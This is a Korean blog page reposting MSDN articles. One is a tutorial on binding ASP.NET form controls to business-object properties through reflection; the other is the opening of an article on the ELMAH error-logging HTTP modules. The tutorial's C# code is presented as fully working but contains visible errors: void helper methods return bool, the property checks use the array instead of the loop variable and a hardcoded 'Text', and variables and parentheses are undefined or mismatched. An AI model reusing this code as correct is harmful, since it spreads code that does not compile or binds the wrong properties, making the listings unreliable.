리플렉션을 사용하면 코드를 한 줄만 사용하여 비즈니스 개체의 모든 속성을 해당 폼 컨트롤에 바인딩할 수 있으므로, 코드의 줄 수가 줄어들고 가독성이 향상됩니다. 리플렉션 시스템 빌드가 끝나면 위 코드는 다음과 같이 줄어듭니다.

protected void Page_Load(Object Src, EventArgs E) {   if (!IsPostBack) {      Document document =      Documents.GetDocument(Request.QueryString["DocumentID"]);      FormBinding.BindObjectToControls(document);   }}protected void Save_Click(Object Src, EventArgs E) {   Document document =         Documents.GetDocument(Request.QueryString["DocumentID"]);   FormBinding.BindControlsToObject(document);   Documents.Update(document);}

이 코드는 모든 표준 ASP.NET 컨트롤(TextBox, DropDownList, CheckBox 등)과 대부분의 타사 컨트롤(예: Free TextBox Calendar Popup )에서 작동합니다. 비즈니스 개체 속성과 폼 컨트롤의 수에 상관 없이, 폼 컨트롤 ID가 비즈니스 개체 속성 이름과 일치할 경우 동일한 한 줄의 코드가 모든 필수 기능을 처리합니다.

시작하기: 리플렉션에서 속성 목록 검색

가장 먼저 해야 할 일은 비즈니스 개체의 속성을 검사하고 비즈니스 개체 속성 이름과 같은 ID를 가지는 ASP.NET 컨트롤을 찾는 것입니다. 아래 코드는 기본적인 바인딩 조회를 구성합니다.

public class FormBinding {   public static void BindObjectToControls(object obj,         Control container) {      if (obj == null) return;      Type objType = obj.GetType();      PropertyInfo[] objPropertiesArray =               objType.GetProperties();      foreach (PropertyInfo objProperty in objPropertiesArray) {         Control control =                      container.FindControl(objProperty.Name);         if (control != null) {             // 컨트롤을 처리합니다.         }      }   }}

위 코드에서 BindObjectsToControls 메서드는 비즈니스 개체 obj 및 컨테이너 컨트롤을 받아들입니다. 컨테이너 컨트롤은 일반적으로 현재 WebForm의 Page 개체입니다. 런타임에 컨트롤의 중첩 순서를 변경하는 ASP.NET 1.x MasterPages 구현을 사용하는 중이면 폼 컨트롤이 상주하는 Content 컨트롤을 지정해야 합니다. 그 이유는 FindControl 메서드가 ASP.NET 1.x에서 중첩 컨트롤 및 명명 컨테이너와 작동하는 방식 때문입니다.

위 코드에서 비즈니스 개체의 Type을 가져오고 해당 Type을 사용하여 PropertyInfo 개체의 배열을 가져옵니다. 각 PropertyInfo 개체는 비즈니스 개체 속성에 대한 정보뿐 아니라 비즈니스 개체에서 값을 가져와 설정하는 기능도 포함합니다. foreach 루프를 사용하여 비즈니스 개체 속성 이름(PropertyInfo.Name)에 해당하는 ID 속성이 있는 ASP.NET 컨트롤의 컨테이너를 확인합니다. 컨트롤을 찾으면 속성 값을 컨트롤에 바인딩합니다.

개체 속성 값을 컨트롤에 바인딩

대부분의 처리 작업은 이 단계에서 수행합니다. 발견된 Control을 개체의 속성 값으로 채워야 합니다. 이렇게 하는 방법 중 하나는 각 컨트롤 형식에 대해 if ... else 문을 만드는 것입니다. ListControl(DropDownList, RadioButtonList, CheckBoxListListBox)에서 파생되는 모든 컨트롤에는 일관되게 액세스할 수 있는 공용 인터페이스가 있으므로, 이러한 컨트롤을 그룹화할 수 있습니다. 발견된 컨트롤이 ListControl인 경우 컨트롤을 ListControl로 캐스팅한 다음 선택한 항목을 설정할 수 있습니다.

Control control = container.FindControl(objProperty.Name);if (control != null) {   if (control is ListControl) {      ListControl listControl = (ListControl) control;      string propertyValue = objProperty.GetValue(obj,               null).ToString();      ListItem listItem =              listControl.Items.FindByValue(propertyValue);      if (listItem != null) listItem.Selected = true;   }else {      // 다른 컨트롤 형식을 처리합니다.   }}

애석하게도 다른 컨트롤 형식은 부모 클래스에서 파생되지 않습니다. 여러 일반 컨트롤(TextBox, LiteralLabel)에는 모두 .Text 문자열 속성이 있지만, 속성이 공용 부모 클래스로부터 파생되지 않으므로 각 컨트롤 형식을 개별적으로 캐스팅해야 합니다. 또한 Calendar 컨트롤과 같은 다른 컨트롤 형식을 캐스팅해야 하는데 이는 적절한 속성(Calendar의 경우에는 SelectedDate 속성)을 사용하기 위해 필요합니다. 모든 표준 ASP.NET 폼 컨트롤을 포함하고 폼 컨트롤의 올바른 속성에 액세스하는 데 굉장히 많은 코드 줄이 필요한 것은 아닙니다.

if (control is ListControl) {   ListControl listControl = (ListControl) control;   string propertyValue = objProperty.GetValue(obj,         null).ToString();   ListItem listItem = listControl.Items.FindByValue(propertyValue);   if (listItem != null) listItem.Selected = true;} else if (control is CheckBox) {   if (objProperty.PropertyType == typeof(bool))      ((CheckBox) control).Checked = (bool)               objProperty.GetValue(obj, null);} else if (control is Calendar) {   if (objProperty.PropertyType == typeof(DateTime))      ((Calendar) control).SelectedDate = (DateTime)                objProperty.GetValue(obj, null);} else if (control is TextBox) {   ((TextBox) control).Text = objProperty.GetValue(obj,         null).ToString();} else if (control is Literal)(   //... 기타 등등(레이블용 등)}

이 방식에서는 표준 ASP.NET 1.x 컨트롤을 적절하게 다루고 있습니다. 이제 완전한 기능을 하는 BindObjectToControls 메서드를 사용할 수 있습니다. 그러나 이 방법은 기본 제공 ASP.NET 1.x 컨트롤만을 고려하므로 적용에 있어 제한적입니다. 새 ASP.NET 2.0 컨트롤을 지원하거나 타사 컨트롤을 사용하려면 FormBinding 프로젝트에서 컨트롤의 어셈블리를 참조하고 if ... else 목록에 컨트롤 형식을 추가해야 합니다.

이 문제에 대한 해결 방법은 또 다른 리플렉션을 사용하여 각 컨트롤의 속성을 검색하고, 비즈니스 개체 속성의 유형에 해당하는 속성 유형이 컨트롤에 있는지 확인하는 것입니다.

알려진 속성을 사용하여 알려지지 않는 컨트롤 값 설정

위에서 언급한 것처럼 여러 컨트롤은 문자열 속성 .Text를 공유하며 대부분의 폼 컨트롤은 이 속성을 기본적으로 동일한 방식으로 사용합니다. 즉, 사용자가 입력하는 데이터를 가져와 설정하는 데 사용하는 것입니다. 그 외에도 다양한 컨트롤에 사용되는 기타 일반 속성 및 속성 유형이 있습니다. 이러한 속성 중 몇 가지를 예로 들면, 여러 일정 및 날짜 선택 컨트롤에서 사용되는 .SelectedDate라는 DateTime 속성, 부울 컨트롤에서 사용되는 .Checked라는 부울 속성, 숨겨진 컨트롤에서 일반적으로 사용되는 .Value라는 문자열 속성 등이 있습니다. 이러한 네 개의 속성(string Text, string Value, bool CheckedDateTime SelectedDate)은 가장 일반적인 컨트롤 속성입니다. 컨트롤 형식에 상관 없이 이러한 속성에 바인딩되는 시스템을 디자인할 수 있다면 Binding 메서드는 이러한 네 개의 속성을 사용하는 모든 컨트롤에 적용됩니다.

아래 코드에서는 일반적으로 사용되는 속성을 포함하는지 확인하기 위해 리플렉션을 다시 사용합니다. 그러나 이번에는 비즈니스 개체가 아닌 폼 컨트롤에서 사용합니다. 이러한 속성이 포함된 경우 비즈니스 개체의 속성 값을 컨트롤의 속성으로 설정합니다. 예를 들어 PropertyInfo 배열을 반복하여 .Text라는 문자열 속성을 찾습니다. 컨트롤에 이 속성이 있으면 비즈니스 개체에서 해당 컨트롤의 속성으로 데이터를 보냅니다.

if (control is ListControl) {   // ...}else {   // 컨트롤의 형식과 속성을 가져옵니다.   //   Type controlType = control.GetType();   PropertyInfo[] controlPropertiesArray =         controlType.GetProperties();   // .Text 속성을 찾습니다.   //   foreach (PropertyInfo controlProperty         in controlPropertiesArray) {      if (controlPropertiesArray.Name == "Text" &&               controlPropertiesArray.PropertyType == typeof(String)) {         // 컨트롤의 .Text 속성을 설정합니다.         //         controlProperty.SetValue(control,                    (String) objProperty.GetValue(obj, null), null);      }   }}

.Text가 발견되면 PropertyInfo 클래스의 GetValue 메서드를 사용하여 비즈니스 개체의 속성에서 값을 검색합니다. 그런 다음 컨트롤의 .Text 속성에 대한 SetValue 메서드를 사용합니다. 여기서는 또한 컨트롤의 속성을 typeof(String)로서 형식 검사하고 (String) 표기법을 사용하여 속성에서 값을 명시적으로 캐스팅합니다.

BindObjectToControls 메서드를 완성하기 위해 다른 일반 속성인 .Checked, .SelectedDate.Value도 처리해야 합니다. 아래 코드에서는 코드를 단순화하기 위해 컨트롤 속성 검색을 FindAndSetControlProperty라는 도우미 메서드에 래핑합니다.

if (control is ListControl) {   // ...}else {   // 컨트롤의 속성을 가져옵니다.   //   Type controlType = control.GetType();   PropertyInfo[] controlPropertiesArray =         controlType.GetProperties();   bool success = false;   success = FindAndSetControlProperty(obj,         objProperty, control, controlPropertiesArray,         "Checked", typeof(bool) );   if (!success)      success = FindAndSetControlProperty(obj,               objProperty, control, controlPropertiesArray,               "SelectedDate", typeof(DateTime) );   if (!success)      success = FindAndSetControlProperty(obj,               objProperty, control, controlPropertiesArray,               "Value", typeof(String) );   if (!success)      success = FindAndSetControlProperty(obj,               objProperty, control, controlPropertiesArray,               "Text", typeof(String) );}private static void FindAndSetControlProperty(object obj,   PropertyInfo objProperty, Control control,   PropertyInfo[] controlPropertiesArray, string propertyName,   Type type) {   // 컨트롤 속성을 반복합니다.   foreach (PropertyInfo controlProperty in         controlPropertiesArray) {      // 일치하는 이름과 형식을 확인합니다.      if (controlPropertiesArray.Name == "Text" &&               controlPropertiesArray.PropertyType == typeof(String)) {         // 컨트롤의 속성을 비즈니스 개체                  // 속성 값으로 설정합니다.         controlProperty.SetValue(control,                    Convert.ChangeType(                    objProperty.GetValue(obj, null), type) , null);         return true;      }   }   return false;}

일부 컨트롤에는 위 속성 중 둘 이상이 있을 수 있지만 여기서는 하나의 속성만 설정할 것이므로 위 속성 검사의 순서가 중요합니다. 예를 들어 CheckBox 컨트롤에는 .Text.Checked 속성이 모두 있습니다. 이 경우에는 .Checked 속성만 사용하고 .Text 속성을 사용하지 않을 것이므로 속성 검색 순서에서 .Checked를 앞에 둡니다. 각 경우에서 이름과 형식이 올바른 컨트롤 속성을 찾으면 컨트롤의 속성을 비즈니스 개체 속성의 값으로 설정합니다.

이 시점에서 BindObjectToControls 메서드는 완전하게 기능을 수행합니다. 이 메서드는 임의의 클래스와 컨트롤 조합을 사용하여 ASPX 폼 위의 어떤 위치에서나 호출할 수 있습니다. 이제 폼을 제출할 때 이와 반대의 기능을 수행하는 메서드를 만들어야 합니다. 컨트롤 속성의 값을 비즈니스 개체 값으로 설정하는 대신에 컨트롤에서 사용자의 입력을 나타내는 새 값을 검색해야 합니다.

프로세스를 반대로 수행: BindControlsToObject

BindControlsToObject 메서드에서는 앞서 수행한 것과 동일한 방식으로 비즈니스 개체에서 속성 목록을 검색하고 FindControl 메서드를 사용하여 개체 속성과 일치하는 ID를 가진 컨트롤을 찾습니다. 해당 컨트롤을 찾으면 값을 검색하여 비즈니스 개체에 반환합니다. 이 섹션에는 또한 ListControl에 대한 별도의 코드도 포함됩니다. ListControl에는 공용 인터페이스가 있기 때문입니다. 이 컨트롤에서 값을 검색하여 비즈니스 개체에 반환하기 위해 또 다른 도우미 메서드를 사용합니다.

public static void BindControlsToObject(object obj,   Control container) {   Type objType = obj.GetType();   PropertyInfo[] objPropertiesArray = objType.GetProperties();   foreach (PropertyInfo objProperty in objPropertiesArray) {      if (control is ListControl) {         ListControl listControl = (ListControl) control;         if (listControl.SelectedItem != null)            objProperty.SetValue(obj,                           Convert.ChangeType(list.SelectedItem.Value,                          objProperty.PropertyType), null);      }else {         // 컨트롤의 속성을 가져옵니다.         //         Type controlType = control.GetType();         PropertyInfo[] controlPropertiesArray =                      controlType.GetProperties();         bool success = false;         success = FindAndGetControlProperty(obj,                     objProperty, control, controlPropertiesArray,                     "Checked", typeof(bool) );         if (!success)            success = FindAndGetControlProperty(obj,                          objProperty, control, controlPropertiesArray,                          "SelectedDate", typeof(DateTime) );         if (!success)            success = FindAndGetControlProperty(obj,                           objProperty, control, controlPropertiesArray,                           "Value", typeof(String) );         if (!success)            success = FindAndGetControlProperty(obj,                          objProperty, control, controlPropertiesArray,                          "Text", typeof(String) );      }   }}private static void FindAndGetControlProperty(object obj,   PropertyInfo objProperty, Control control, PropertyInfo[]   controlPropertiesArray, string propertyName, Type type) {   // 컨트롤 속성을 반복합니다.   foreach (PropertyInfo controlProperty in         controlPropertiesArray) {      // 일치하는 이름과 형식을 확인합니다.      if (controlPropertiesArray.Name == "Text" &&               controlPropertiesArray.PropertyType == typeof(String)) {         // 컨트롤의 속성을 비즈니스 개체                  // 속성 값으로 설정합니다.         try {            objProperty.SetValue(obj,                           Convert.ChangeType(                           controlProperty.GetValue(control, null),                           objProperty.PropertyType) , null);            return true;         } catch {            // 폼 컨트롤의 데이터를                        // objProperty.PropertyType으로                        // 변환할 수 없습니다.            return false;         }      }   }   return true;}

이러한 두 개의 메서드가 완성되면 양식 코드 단순화 및 단축에서 설명한 것처럼 폼 구문이 간단해집니다. 모든 속성과 컨트롤에 대한 형식 변환 및 오류 수정은 자동으로 처리됩니다. BindObjectToControlsBindControlsToObject의 두 메서드를 사용하면 개발자는 매우 유연하게 폼을 작성할 수 있습니다. 또한 다음과 같은 몇 가지 일반적인 시나리오가 처리됩니다.

  • 새 속성이 비즈니스 개체에 추가되고 해당 속성을 폼에서 액세스해야 하는 경우에는 해당 ID가 새 속성의 이름으로 설정된 컨트롤을 페이지에 추가하면 됩니다. 나머지 작업은 FormBinding 메서드가 처리합니다.
  • 특정 속성에 사용되는 컨트롤의 형식을 변경해야 하는 경우(예: TextBox에서 타사 HTML 편집기 컨트롤로)에는 새 컨트롤에 .Text 등 앞에서 나온 속성 중 하나가 있는지 확인하면 됩니다. 그러면 폼은 이전과 마찬가지로 제대로 작동합니다.
  • 모든 TextBox 컨트롤을 사용하여 폼을 빠르게 생성할 수도 있습니다. 이 경우에도 입력은 올바른 비즈니스 개체 속성 유형으로 변환됩니다. 예를 들어 Calendar 컨트롤이나 타사 날짜 선택 컨트롤 대신에 TextBox 컨트롤을 사용할 수 있습니다. 사용자가 값 DateTime 문자열을 입력하는 한, Calendar 컨트롤의 .SelectedDate 속성에서와 마찬가지로 TextBox.Text 속성에 있는 값은 DateTime으로 변환됩니다. TextBox가 나중에 날짜 선택 컨트롤로 바뀌어도 논리는 이전과 동일하게 유지됩니다.
  • 모든 컨트롤을 Literal 컨트롤로 변경하여 "보기" 페이지를 빠르게 만들 수도 있습니다. TextBox에서와 마찬가지로 Literal.Text 속성은 비즈니스 개체 속성의 값으로 설정됩니다.
  • 실제 시나리오에서는 다른 데이터 형식과 사용자 지정 구성도 폼에 포함됩니다. 이러한 특수한 작업을 처리하기 위한 코드를 BindObjectToControlsBindControlsToObject의 호출 뒤에 배치할 수 있습니다.

성능 및 FormBinding 스키마 확장

성능 저하가 발생한다는 사실을 고려할 때 일부 개발자는 리플렉션을 사용하는 것이 그만한 가치가 있는지 궁금해할 것입니다. 저는 int DocumentID, bool Active, DateTime Created, int CategoryID, String Title, string Author 및 String htmlText의 7개 속성이 있는 개체를 사용하여 테스트한 적이 있는데 이 테스트에서 BindObjectToControls는 약 1/3밀리초가 걸렸고 BindControlsToObject는 약 1밀리초가 걸렸습니다. 이러한 값은 루프에서 BindObjectToControlsBindControlsToObject 메서드를 1000번 실행한 결과로 얻어진 것입니다. 일반적인 폼 추가 및 편집 시나리오에서 이 정도의 성능 저하는 심각한 문제를 야기하지 않습니다. 개발 속도와 유연성이라는 확실한 이점의 대가로는 충분한 것이죠.

이 메서드는 거의 모든 폼에서 작동하지만 경우에 따라서는 위 코드를 수정해야 할 수도 있습니다. 일부 시나리오에서 개발자는 위 속성 중 하나를 기본 인터페이스로 사용하지 않는 컨트롤을 사용할 수 있습니다. 이 경우에는 해당 속성과 유형을 포함하도록 FormBinding 메서드를 업데이트해야 합니다.

결론

두 개의 FormBinding 메서드인 BindObjectToControlsBindControlsToObject를 사용하면 양식 코드를 매우 단순하게 만들 수 있으며 최대한 유연하게 ASP.NET 폼을 개발할 수 있습니다. 이러한 사실이 저에게 도움이 된 것처럼 여러분께도 도움이 되기를 바랍니다.

관련 서적

 


저자 소개

John Dyer는 Dallas Theological Seminary 의 수석 웹 개발자로 일하면서 Telligent Systems 의 Community Server에 구축되어 있는 저명한 온라인 교육 프로그램을 관리하고 있습니다. 또한 널리 사용되고 있으며 모든 사람에게 무료로 제공되는 FreeTextBox  ASP.NET HTML 편집기를 만들었습니다. 여가 시간에는 DTS에서 신학 석사 과정을 공부하고 있으며, 2005년 1월 1일에 결혼할 예정입니다.

Posted by tornado
|

출처 : MSDN

HTTP 모듈과 처리기를 사용하여 플러그형 ASP.NET 구성 요소 만들기

Scott Mitchell, 4GuysFromRolla.com
Atif Aziz, Skybow AG

2004년 9월

요약: 이 기사에서는 Scott Mitchell과 Atif Aziz가 HTTP 모듈과 처리기를 사용하여 오류 로깅을 ASP.NET 응용 프로그램에 추가하는 방법에 대해 설명합니다.

MSDNElmah.msi 샘플 파일을 다운로드하십시오.

목차

소개
ELMAH: Error Logging Modules And Handlers
HTTP 처리기 및 모듈에 대한 간략한 개요
ELMAH의 아키텍처 검토
ASP.NET 웹 응용 프로그램에 ELMAH 추가
결론
참고 자료
관련 서적

소개

ASP.NET 응용 프로그램에서 작업을 수행한 적이 있으며 다른 ASP.NET 응용 프로그램에서 간편하게 재사용할 수 있도록 유용한 일부 기능 집합을 디자인한 적이 있으십니까? ASP.NET은 다른 유형의 기능을 구성 요소화하기 위한 다양한 도구를 제공합니다. ASP.NET에서의 재사용을 위한 가장 일반적인 두 가지 도구는 다음과 같습니다.

  • 사용자 인터페이스 요소 및 기능을 위한 사용자 컨트롤 및 컴파일된 사용자 지정 서버 컨트롤
  • 비즈니스 논리 및 데이터 액세스 코드를 위한 .NET 클래스 라이브러리

별다른 주목을 끌지 못하는 두 개의 ASP.NET 재사용 도구는 HTTP 모듈과 처리기입니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

HTTP 처리기와 모듈에 익숙하지 않더라도 걱정하실 필요는 없습니다. 이 기사의 뒷부분에서 좀더 자세하게 설명할 것입니다. 지금은 우선 ASP.NET 리소스 요청 도중에 발생하는 이벤트에 응답하여 실행하도록 구성할 수 있는 HTTP 모듈과 클래스에 대해 살펴보겠습니다. HTTP 처리기는 특정 리소스나 특정 유형의 리소스를 렌더링하는 클래스입니다. 실제로 ASP.NET 웹 페이지를 프로젝트에 추가할 때마다 필수적으로 HTTP 처리기를 작성하게 됩니다. 이는 ASP.NET 웹 페이지의 HTML 부분이 런타임에 동적으로 컴파일될 때 결과적으로 HTTP 처리기가 구현되는 System.Web.UI.Page에서 직접 또는 간접적으로 상속이 이루어지기 때문입니다. 이것은 인라인 전략을 사용하는지 아니면 코드 숨김 전략을 사용하는지와는 무관합니다.

아시다시피 ASP.NET 응용 프로그램은 일반적으로 최종 사용자의 브라우저에서 요청 시에 호출되는 웹 페이지 집합으로 구성됩니다. ASP.NET 개발자가 작성하는 대부분의 코드는 특정 웹 페이지에 대한 요청과 관련됩니다. 예를 들면 일부 검색 쿼리에 기초하여 데이터베이스 결과를 표시하기 위한 특정 페이지의 코드 숨김 클래스에 있는 코드 등이 이에 속합니다. 그러나 경우에 따라서는 단일 웹 페이지와 관련된 코드, 즉 응용 프로그램의 모든 페이지에 적용되는 코드를 작성해야 할 수도 있습니다. 예를 들어 각 사용자가 웹 사이트에서 이동한 순서를 추적해야 할 수 있습니다. 이렇게 하려면 요청 시간과 사용자를 식별하는 정보가 각 페이지에 기록되도록 해야 합니다.

이러한 로깅 기능을 제공하는 방법 중 하나는 사이트의 각 웹 페이지에 대해 Page_Load 이벤트 처리기에서 관련 데이터를 데이터베이스에 기록하는 코드를 추가하는 것입니다. 그러나 이 방법은 유지 관리하거나 재사용하는 데 어려움이 있습니다. 사이트에서 새 ASP.NET 페이지를 추가할 때마다 적절한 로깅 코드가 포함되었는지 확인해야 합니다. 비슷한 기능을 다른 사이트에 추가하려는 경우 해당 사이트의 각 페이지에서 필요한 코드를 추가해야 합니다. 이상적인 경우라면 로깅 기능은 각 개별 페이지의 기능과 논리 및 물리적으로 구별되어야 하며 로깅 기능을 다른 사이트에 추가하는 것은 사이트의 /bin 디렉터리에서 어셈블리를 삭제하는 것만큼 간단할 것입니다.

이러한 재사용과 관리 용이성은 HTTP 모듈과 처리기를 통해 가능합니다. 이 기사에서는 오류 로깅을 매우 쉽게 관리하고 재사용할 수 있게 만들도록 설계된 일련의 HTTP 모듈과 처리기를 살펴보도록 하겠습니다. 이 기사의 목적은 HTTP 처리기와 모듈을 매우 높은 수준의 구성 요소화 형태로 사용함으로써 전체 기능을 웹 응용 프로그램과 무관한 단일 단위로 개발, 패키지화 및 배포할 수 있음을 보여 주는 것입니다. HTTP 처리기와 모듈을 통한 재사용 및 구성 요소화 이점을 사용하는 응용 프로그램이 이러한 목적을 설명하는 데 주로 사용됩니다.

ELMAH: Error Logging Modules And Handlers(오류 로깅 모듈 및 처리기)

이 기사에서 살펴볼 ELMAH(Error Logging Modules And Handlers(오류 로깅 모듈 및 처리기))는 공동 저자인 Atif Aziz(http://www.raboof.com/ 가 작성한 것이며, 오류 로깅 기능을 ASP.NET 웹 응용 프로그램에 간단하게 추가할 수 있는 방법을 제공합니다. ELMAH에서는 응용 프로그램 전체 로깅과 같은 웹 응용 프로그램 관련 코드를 위한 높은 수준의 구성 요소화를 HTTP 모듈과 처리기를 사용하여 제공하는 방법을 보여 줍니다. ELMAH는 플러그형 솔루션이므로 재컴파일이나 재배포할 필요 없이 실행 중인 ASP.NET 웹 응용 프로그램에 동적으로 추가할 수 있습니다.

특정 웹 응용 프로그램을 완벽하게 작성하고 테스트했더라도, 문제가 발생할 가능성은 여전히 존재합니다. 이것은 코드에 오류가 있기 때문이 아니라 전자 메일 서버가 응답하지 않거나 일부 데이터 손상으로 인해 암호화 오류가 발생하기 때문일 수 있습니다. 어떤 이유든 간에 예외가 발생할 경우 특히 라이브 사이트에서는 문제 진단을 지원하기 위해 예외에 대한 세부적인 정보를 기록하는 것이 중요합니다. ELMAH는 중앙화된 오류 로깅 및 알림을 위한 메커니즘을 제공합니다. ASP.NET 응용 프로그램에서 catch되지 않는 예외가 발생할 때마다 ELMAH는 알림을 받게 되며 Web.config 파일에 지정된 대로 예외를 처리합니다. 예외의 세부 정보를 데이터베이스에 기록하거나, 전자 메일을 관리자에게 보내거나, 두 작업을 모두 수행하는 것이 여기에 포함될 수 있습니다.

ELMAH는 처리되지 않은 예외에 적절하게 대응하도록 디자인된 것이 아니라 단순히 처리되지 않은 예외의 세부 정보만을 기록합니다. 따라서 ELMAH를 ASP.NET 웹 응용 프로그램에 추가하면 이 응용 프로그램에서 발생한 처리되지 않은 모든 예외가 기록됩니다. 처리되지 않은 예외가 발생하더라도 ELMAH는 최종 사용자의 작업에 영향을 주지 않습니다. 최종 사용자에게는 여전히 "서버 오류" 페이지가 표시되며, HTTP 500 오류를 처리하도록 사용자 지정 오류를 구성한 경우 다른 페이지로 이동합니다. 그러나 배후에서 ELMAH는 처리되지 않은 예외가 발생했음을 감지하고 세부 정보를 기록합니다.

ELMAH는 HttpApplication 개체의 Error 이벤트를 통해 처리되지 않은 예외를 검색합니다. Error 이벤트는 .NET 클래스 라이브러리 또는 ASP.NET 웹 페이지로부터의 요청을 처리하는 동안 catch되지 않은 예외가 버블링될 때마다 발생합니다. 많은 ASP.NET 응용 프로그램이 Server.ClearError() 메서드를 호출하여 사용자 지정 오류 페이지 및 처리를 잘못 구현한다는 점에 주의해야 합니다. 오류를 지우면 Error 이벤트가 발생하지 않을 뿐만 아니라 클라이언트에게 보고되지 않으므로 ELMAH는 예외를 기록할 수 있는 기회가 없습니다. 달리 말해서 사용자 지정 오류 페이지에서 ClearError()를 사용하면 사용자는 문제가 발생했음을 알게 되지만 관리자 자신은 이러한 사실을 알 수 없습니다.

참고   사용자 지정 오류 페이지를 만드는 방법에 대한 자세한 내용은 Eli Robillard의 Rich Custom Error Handling with ASP.NET  기사를 참조하십시오.
참고   ASP.NET 웹 서비스에서 처리되지 않은 예외가 발생하면 Error 이벤트가 HTTP 모듈에 버블링되지 않으며, 따라서 ELMAH에도 버블링되지 않습니다. 대신에 ASP.NET 런타임이 예외를 인터셉트하고 SOAP 오류가 클라이언트에게 반환됩니다. 웹 서비스에서 오류가 기록되게 하려면 SOAP 오류를 수신 대기하는 SOAP 확장  을 만들어야 합니다.

처리되지 않은 예외의 세부 정보를 기록하는 것 외에도 오류 로그를 볼 수 있는 일련의 HTTP 처리기가 ELMAH에 포함되어 있습니다. 처리되지 않은 모든 오류의 목록뿐만 아니라 특정 오류에 대한 세부 정보를 볼 수 있는 로그에 대한 웹 인터페이스가 제공됩니다(그림 1 및 2 참조).

그림 1. 오류 로그 보기

그림 2. 오류 보기

또한 오류 로그를 RSS로 렌더링할 수 있습니다. 이렇게 하면 관리자는 오류가 발생했을 때 자신이 선호하는 RSS 애그리게이터를 통해 알림을 받을 수 있습니다(그림 3 참조).

그림 3. 오류의 RSS 피드

참고   Really Simple Syndication의 약어인 RSS는 뉴스 및 변경되는 기타 유형의 콘텐츠를 배포하는 데 널리 사용되는 XML 서식 표준입니다. RSS를 사용하여 콘텐츠를 배포하는 방법이나 웹 기반의 RSS 판독기를 만드는 방법을 비롯하여 RSS에 대한 자세한 내용은 Creating an Online News Aggregator with ASP.NET  을 참조하십시오.

이 기사에서는 간결하게 하기 위해서 주요 구성 요소를 중심으로 ELMAH의 일부 기능만 살펴봅니다. 전체 코드는 이 기사에서 다운로드할 수 있으며, 가능하면 전체 코드를 검토하여 구현 세부 정보를 확인하는 것이 좋습니다. 또한 http://workspaces.gotdotnet.com/elmah 에는 토론, 문제 보고, 최신 변경 내용 확인 등을 위한 ELMAH용 GotDotNet Workspace 설치 프로그램이 있습니다.

중앙화된 오류 로깅을 위한 기존 솔루션

ASP.NET이 오류 로깅 및 보기 기능을 기본적으로 제공하지 않지만 Microsoft의 Patterns & Practices Group  은 오픈 소스 오류 로거인 EMAB(Exception Management Application Block 를 만들었습니다. EMAB는 데스크톱 및 웹 기반 .NET 응용 프로그램에서 모두 작동하도록 설계되었지만, 기본적으로 EMAB가 예외 세부 정보를 Windows 이벤트 로그에 게시하기 때문에 EMAB는 주로 웹 응용 프로그램이 있는 데스크톱 응용 프로그램용으로 추가적으로 설계된 것처럼 보입니다. 이벤트 로그가 데스크톱 응용 프로그램의 간략한 예외 정보를 저장하기에 적절한 백업 저장소이기는 하지만 대부분의 웹 응용 프로그램, 특히 웹 호스팅 회사의 공유 서버에서 호스팅되는 응용 프로그램은 이벤트 로그를 사용하려 하지 않습니다. 이벤트 로그를 사용하려면 ASP.NET 응용 프로그램이 이벤트 로그에 기록할 수 있도록 특수한 권한을 설정해야 하기 때문입니다. 물론 EMAB는 데이터베이스에 정보를 기록하는 사용자 지정 게시자를 만들 수 있는 충분한 유연성을 제공하지만 이것은 개발자의 개입이 요구되는 별도의 작업 단계입니다.

참고   ELMAH는 Microsoft SQL Server 2000용의 데이터베이스 로깅 모듈을 제공합니다. 이에 대해서는 뒤에 설명할 것입니다. 또한 ELMAH를 사용하면 웹 서버의 파일 시스템에 있는 XML 파일에 예외 세부 정보를 기록하는 로거와 같은 사용자 지정 예외 로거를 만들 수 있습니다. 실제로, 사용하려는 EMAB에 대해 사용자 지정 게시자를 이미 작성한 경우에는 ELMAH를 확장하여 Exception Management Application Block을 사용할 수 있습니다.

EMAB를 사용하여 예외 정보를 기록하는 방법은 웹 응용 프로그램의 관리 용이성과 재사용 가능성에 큰 영향을 끼칩니다. 예를 들어 예외 정보를 기록하기 위한 간단한 방법은 각 ASP.NET 웹 페이지에서 각 코드 블록 주위에 try ...catch 블록을 배치하여 catch 섹션에서 EMAB를 호출하는 것일 수 있습니다.

private void Page_Load(object sender, EventArgs e) { try { // 예외를 일으킬 
수 있는 코드 } catch (Exception ex) { // 예외 로거 라이브러리를 호출하여 예외 정보를
기록합니다. } }(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사
에는 설명을 위해 번역문으로 제공됩니다.)

이 방법은 각각의 모든 ASP.NET 웹 페이지에 예외 로깅을 긴밀하게 결합하기 때문에 관리 용이성이나 재사용 가능성이 전혀 없다는 점에서 매우 비효율적입니다. Global.asaxApplication_Error 이벤트에서 EMAB를 사용한다면 더 나은 방법이 될 것입니다. 이 방법은 예외 게시 코드가 각 ASP.NET 웹 페이지에 포함되는 대신에 중앙화된 단일 장소에 위치하기 때문에 관리 용이성과 재사용 가능성이 존재하는 더 느슨하게 결합된 아키텍처를 제공합니다. 이 방법의 단점은 플러그형이 아니라는 것입니다. 이 오류 로깅 기능을 다른 ASP.NET 웹 응용 프로그램에 추가하려면 응용 프로그램의 Global.asax를 수정해야 하므로 응용 프로그램을 재컴파일 및 재배포해야 합니다.

이 기사에서 중점적으로 다루려는 내용은 EMAB를 대체하는 수단을 소개하는 것이 아니라 HTTP 처리기와 모듈을 통해 가능해지는 구성 요소화를 강조하려는 것입니다. ELMAH는 중앙화된 오류 로깅과 같은 일반적인 작업을 가져와 구성 요소화함으로써 쉽게 관리할 수 있게 만들고 높은 수준의 재사용 가능성을 제공하는 방법을 보여 줍니다. ELMAH의 목적은 적용 가능한 기능을 구성 요소화하는 것에 대한 지침을 제공하는 것입니다.

HTTP 처리기 및 모듈에 대한 간략한 개요

